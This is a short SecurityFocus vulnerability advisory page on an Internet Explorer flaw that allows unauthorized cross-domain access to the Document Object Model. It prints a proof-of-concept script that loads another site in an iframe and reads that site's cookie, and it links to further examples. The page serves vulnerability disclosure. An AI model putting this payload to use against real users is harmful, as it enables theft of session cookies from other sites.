Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

Microsoft Internet Explorer Unauthorized Document Object Model Access Vulnerability

The following example was provided:

<script language="jscript">
onload=function () {
    // Timer necessary to prevent weird behavior in some conditions
    setTimeout(
        function () {
            alert(document.getElementById("oVictim").Document.cookie);
        },
        100
    );
}
</script>
<iframe src="http://example.com" id="oVictim"></iframe>

Further examples can be found on the following webpage:

http://security.greymagic.com/adv/gm011-ie/







 

Privacy Statement
Copyright 2009, SecurityFocus